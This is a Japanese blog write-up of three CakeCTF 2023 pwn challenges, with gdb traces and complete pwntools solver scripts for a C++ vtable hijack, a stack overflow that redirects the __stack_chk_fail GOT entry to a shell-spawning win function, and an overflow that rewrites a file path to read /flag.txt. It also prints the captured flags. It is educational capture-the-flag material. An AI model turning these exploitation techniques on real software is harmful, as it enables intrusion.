🍰

CakeCTF 2023 WriteUp

2023/11/13に公開

CakeCTF 2023 WriteUp

0nePaddingのメンバとして参加しました。
74位でした。
私は2つのケーキを食べることに成功しました。
CPPの問題はあまりなじみがなく、とても勉強になりました。
開催いただきありがとうございます。

vtable4b - 217 solves

タイトル通りvtableの入門的な問題でした。
配布されたファイルはなく、ncで問題サーバに接続すると以下のような出力があります。

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x55ce4044961a

1. Use cowsay
2. Change message
3. Display heap

上から動作を見ていきます。

Use cowsayではmessageと、vtableのアドレスを出力しています。

> 1
[+] You're trying to use vtable at 0x55ce4044cce8
 _______________________
<                       >
 -----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Change messageでは入力した値をmessageに転送しています。

> 2
Message: shibainu

もう一度Use cowsayすると入力した値を出力します。

> 1
[+] You're trying to use vtable at 0x55ce4044cce8
 _______________________
< shibainu              >
 -----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

次に3. Display heapを実行すると、heapの中身を出力してくれます。

  [ address ]    [ heap data ]
               +------------------+
0x55ce420f9ea0 | 0000000000000000 |
               +------------------+
0x55ce420f9ea8 | 0000000000000021 |
               +------------------+
0x55ce420f9eb0 | 0000000000000000 | <-- message (= '')
               +------------------+
0x55ce420f9eb8 | 0000000000000000 |
               +------------------+
0x55ce420f9ec0 | 0000000000000000 |
               +------------------+
0x55ce420f9ec8 | 0000000000000021 |
               +------------------+
0x55ce420f9ed0 | 000055ce4044cce8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x55ce420f9ed8 | 000055ce420f9eb0 |  0x55ce4044cce8 | 000055ce404496e2 |
               +------------------+                 +------------------+
0x55ce420f9ee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x55ce420f9ee8 | 000000000000f121 |
               +------------------+

vtable for Cowsay以下を見てみると、vtable(000055ce4044cce8)はCowsay::dialogueのアドレス(000055ce404496e2)を指しています。

使えそうなアドレスはDisplay heapで出力してくれるので、messageを指すアドレス(0x55ce420f9eb0)でvtableを上書きし、messageにはwin関数のアドレスをおいておけばFlagをもらえそうです。

以下Solverです。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

context.log_level = 'debug'
context.arch="amd64"

io = start()

io.recvuntil(b"win> = ")
win_addr = int(io.recvline(),16)
info("win_addr: %#x" ,win_addr )


io.sendline(b"3")
io.recvuntil(b" [ address ]    [ heap data ]")
io.recvlinesS(6)
heap_addr = int(io.recvline()[:14],16)
info("heap: %#x" ,heap_addr )

io.sendline(b"1")
io.recvuntil(b"[+] You're trying to use vtable at ")
vtable_addr = int(io.recvline(),16)
info("vtable_addr: %#x" ,vtable_addr )

payload = flat(
    p64(win_addr) * 3 ,
    b"\x21"+b"\x00"*7,
    heap_addr, 
)

io.sendline(b"2")
io.sendlineafter(b"Message:",payload)

io.sendline(b"3")
io.sendline(b"1")


io.interactive()

#CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}

bofww - 75 solves

以下のファイルが配布されます。

  • docker-compose.yml
  • Dockerfile
  • main.cpp
  • bofww(問題バイナリ)

このバイナリは64bit ELFです。
セキュリティ緩和機構を見ると、No PIE, Partial RELROになっているのが気になります。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

まず配布されたソースコードを確認します。
input_person関数内では_name,_age変数を定義し、標準入力からの値をそれぞれに格納します。その後、引数のage,nameに格納します。

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

CPPは詳しくないので、どうしようかなと思っていたところ、std::cin >> _nameで0x100以上のサイズの値を入力すると驚くべきことに入力を受け付けてくれました。

※おそらく_name変数がchar型なのが原因

本バイナリはcanaryが有効なので素直にret2winはできません。
そこで__stack_chk_failのGOTをwinに上書きする方向で考えてみます。

以下の部分で_name変数の値を引数nameに移しています。
この処理をgdbで確認してみます。
※gdbの出力は一部カットしています。

  name = _name;
  age = _age;

まず、引数nameはrsiレジスタに格納され、input_personに渡されます。
その後、[rbp-0x130]に移されます。

   0x401310 <input_person()>       endbr64
   0x401314 <input_person()+4>     push   rbp
   0x401315 <input_person()+5>     mov    rbp, rsp
   0x401318 <input_person()+8>     sub    rsp, 0x130
   0x40131f <input_person()+15>    mov    qword ptr [rbp - 0x128], rdi
 ► 0x401326 <input_person()+22>    mov    qword ptr [rbp - 0x130], rsi
pwndbg> telescope $rbp-0x130
00:0000│ rsp 0x7fffffffdca0 —▸ 0x7fffffffddf0 —▸ 0x7fffffffde00 —▸ 0x7ffff7faaf00 (std::wclog+128) ◂— 0x0

次に_nameのアドレスを確認します。
cinがコールされた直後の処理、0x40136eにbreakを貼ってstackを確認します。
今回はtesttestを入力しました。

00:0000│ rsp 0x7fffffffdca0 —▸ 0x7fffffffddf0 —▸ 0x7fffffffde00 —▸ 0x7ffff7faaf00 (std::wclog+128) ◂— 0x0
01:0008│     0x7fffffffdca8 —▸ 0x7fffffffddec ◂— 0xffffde0000007fff
02:0010│     0x7fffffffdcb0 ◂— 0x0
03:0018│     0x7fffffffdcb8 ◂— 0x0
04:0020│     0x7fffffffdcc0 ◂— 'testtest' 

0x7fffffffdcc0に入力した文字列、testestがあるのを確認できます。

最後にname = _nameの処理を見てみます。
この処理は以下の命令で行われているようです。

0x4013b4 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164>    call   std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt                      <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt>
        rdi: 0x7fffffffddf0 —▸ 0x7fffffffde00 —▸ 0x7ffff7faaf00 (std::wclog+128) ◂— 0x0
        rsi: 0x7fffffffdcc0 ◂— 'testtest'
        rdx: 0x7fffffffdcc0 ◂— 'testtest'
        rcx: 0x7fffffffdc70 ◂— 0x1
pwndbg> ni
pwndbg> telescope $rbp-0x130
00:0000│ rsp 0x7fffffffdca0 —▸ 0x7fffffffddf0 —▸ 0x7fffffffde00 ◂— 'testtest'

以上の処理から、SBOFで0x7fffffffddf0を__stack_chk_fail@got.pltに上書きし、0x7fffffffdcc0にはwin関数アドレスを入れておけばFlagをもらえそうです。

以下Solverです。


from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *0x401369
b *input_person+164
b *0x4012fa
b *0x4013d8
continue
'''.format(**locals())


exe = "./bofww"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()
win_addr =       p64(0x00000000004012fa)

# pwndbg> vmmap
# pwndbg> x/20gx 0x404000
# 0x404050 <__stack_chk_fail@got.plt>:    0x00000000004010a0
stack_fail_got = p64(0x0000000000404050)


offset = 0x7fffffffddf0 - 0x7fffffffdcc0

payload = flat(
    win_addr ,
    b"\x00" * (offset - len(win_addr)),
    stack_fail_got,
    b"a"*8 *4
)

io.sendlineafter(b"What is your first name?", payload)
io.sendlineafter(b"How old are you?",b"0")
io.interactive()

# CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}

無事Flagが取れました。

※余談ですが、payloadの後方に適当な長さのデータを追加しない場合、ローカルでシェルが取れても、remoteではシェルが取れませんでした。canaryを上書きできてないのかな?と思いましたがそのようにも見えず…

Memorial Cabbage - 45 solves

タッチの差で競技時間中に解けませんでしたが、悔しいのでWriteupを残します。

以下のファイルが配布されました。

  • docker-compose.yml
  • Dockerfile
  • main.c
  • cabbage(問題バイナリ)

このバイナリは64bit ELFで、セキュリティ緩和機構はすべて有効になっています。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

まずソースコードを確認します。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

このバイナリは/tmp/cabbage.XXXXXX/memo.txtを作成し、このファイルに入力した値を保存します。
※XXXXXXはrandomな文字
また、このファイルの内容を読み取ることもできます。

一見問題ないように思いましたが、gdbでスタックを確認すると脆弱性を見つけられました。

まず、mkdtemp関数が実行された直後の処理を確認すると、stackの0x7fffffffde70に/tmp/cabbage.YlwLM5が格納されていることがわかりました。

0x55555555536a <setup+129>    call   mkdtemp@plt                <mkdtemp@plt>

pwndbg> x/s 0x7fffffffde70
0x7fffffffde70: "/tmp/cabbage.YlwLM5"

このあとに続く処理でbssセグメントのtempdir変数にこのアドレスを格納します。

0x55555555536f <setup+134>    mov    qword ptr [rip + 0x2cba], rax <tempdir>

strcpy(path, tempdir);を実行する際の処理を見てみます。
tempdirには先ほど格納したアドレスである0x7fffffffde70が入っているのでこれを参照します。

► 0x555555555540 <memo_w+121>    call   strcpy@plt                <strcpy@plt>
        dest: 0x7fffffffce60 ◂— 0x2148f0
        src: 0x7fffffffde70 ◂— '/tmp/cabbage.YlwLM5'

次にfgets関数では0xfff分、標準入力から値を受け取り、0x7fffffffce80に保存します。

 ► 0x555555555518 <memo_w+81>     call   fgets@plt                <fgets@plt>
        s: 0x7fffffffce80 ◂— 0x90
        n: 0xfff
        stream: 0x7ffff7fa4aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b

この処理では0x7fffffffde7fまで値を受け取ります。
そのため0x7fffffffde70にある、メモ保存先のファイルパス文字列を上書きできます。

Dockerfileを確認すると、/flag.txtにFlagがありそうなので、この文字列で上書きをします。
その後、memo_r関数を実行するとflagを読み取れます。

最初にこのアプローチを考えた際にはflag.txtの内容を上書きしてしまうので読み取れないのでは?と思いましたが配布されたDockerfileを使い、ローカル環境で権限を確認すると以下のようになっていました。

-rw-r--r--    1 root     root            26 Nov 13 02:53 flag.txt

memo_w関数ではfgets関数で入力した値をfileに書き込みますが、/flag.txtを指定した場合、権限エラーが発生します。
エラーが発生した場合mainに戻るので、その後memo_r関数を実行すればFlagです。

以下Solverになります。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *memo_w
b *memo_r
continue
'''.format(**locals())


exe = "./cabbage"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()

def write_memo(io,data):
    io.sendline(b"1")
    io.sendlineafter(b"Memo: ",data)

def read_memo(io):
    io.sendline(b"2")

payload = flat(
    b"a"*4080,
    b"/flag.txt\x00"
)

write_memo(io,payload)
read_memo(io)


io.interactive()

# CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r}

感想

とっても楽しかったです。
昨年は1問も解けなかったので成長を感じることができました。

とはいえまだまだ知識不足であり、発想力が乏しいので精進したいと思います。
来年のCakeCTFはPwn全完を目指したいですね。

Discussion